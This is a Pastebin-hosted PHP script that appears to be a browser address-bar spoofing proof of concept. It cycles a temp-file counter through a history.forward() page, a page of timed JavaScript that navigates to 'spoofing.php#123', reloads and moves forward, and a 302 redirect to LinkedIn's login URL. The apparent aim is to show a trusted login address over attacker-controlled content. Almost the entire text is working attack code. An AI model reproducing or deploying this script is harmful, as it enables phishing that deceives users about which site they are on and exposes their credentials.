Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if (!function_exists('sys_get_temp_dir')) {
- // Based on http://www.phpit.net/article/creating-zip-tar-archives-dynamically-php/2/
- // If the builtin PHP sys_get_temp_dir doesn't exist, we replace it with one that will
- // try to guess from the environment. Since sys_get_temp_dir() doesn't return a trailing
- // slash on all system (see comment at http://us.php.net/sys_get_temp_dir), we don't
- // append a trailing slash, and expect callers to append one when needed.
- function sys_get_temp_dir()
- {
- // Try to get from environment variable
- if (!empty($_ENV['TMP']))
- return realpath($_ENV['TMP']);
- if (!empty($_ENV['TMPDIR']))
- return realpath($_ENV['TMPDIR']);
- if (!empty($_ENV['TEMP']))
- return realpath( $_ENV['TEMP']);
- return "/tmp";
- }
- }
- if (!function_exists('file_put_contents')) {
- function file_put_contents($filename, $data)
- {
- $handle = fopen($filename, "w");
- if (!$handle)
- return FALSE;
- $bytesWritten = fwrite($handle, $data);
- if (!fclose($handle))
- return FALSE;
- return $bytesWritten;
- }
- }
- // This script acts as a stateful proxy for retrieving files. When the state is set to
- // offline, it simulates a network error by redirecting to itself.
- if (!sys_get_temp_dir()) {
- echo "FAIL: No temp dir was returned.\n";
- exit();
- }
- function setState($newState, $file)
- {
- file_put_contents($file, $newState);
- }
- function getState($file)
- {
- if (!file_exists($file)) {
- return "Uninitialized";
- }
- return file_get_contents($file);
- }
- function generateNoCacheHTTPHeader()
- {
- header("Expires: Thu, 01 Dec 2003 16:00:00 GMT");
- header("Cache-Control: no-cache, no-store, must-revalidate");
- header("Pragma: no-cache");
- }
- function redirect($url, $type=301)
- {
- if ($type == 301) header("HTTP/1.1 301 Moved Permanently");
- if ($type == 302) header("HTTP/1.1 302 Moved Temporarily");
- header("Location: $url");
- echo 'This page has moved to <a href="'.$url.'">'.$url.'</a>';
- }
- function handleContentsAccordingToCount()
- {
- $first_script="<b>Page1</b> <script> history.forward()</script>";
- $third_script="<script>setTimeout(\"document.location='./spoofing.php#123'\", 1500);setTimeout(\"location.reload()\", 2100);setTimeout(\"history.forward()\", 3050);</script><b>Page2</b>";
- $resourceCountFile = sys_get_temp_dir() . "/contents-count";
- $resourceCount = getState($resourceCountFile);
- if ($resourceCount == "Uninitialized") {
- setState(0, $resourceCountFile);
- $resourceCount = 0;
- }
- generateNoCacheHTTPHeader();
- header("Content-Type: text/html");
- if (($resourceCount % 3) == 0) {
- header('HTTP/1.1 200 OK');
- echo $first_script;
- } else if (($resourceCount % 3) == 1) {
- echo $third_script;
- } else {
- redirect('https://www.linkedin.com/secure/login', 302);
- }
- setState($resourceCount + 1, $resourceCountFile);
- }
- ob_start();
- handleContentsAccordingToCount();
- ob_end_flush();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement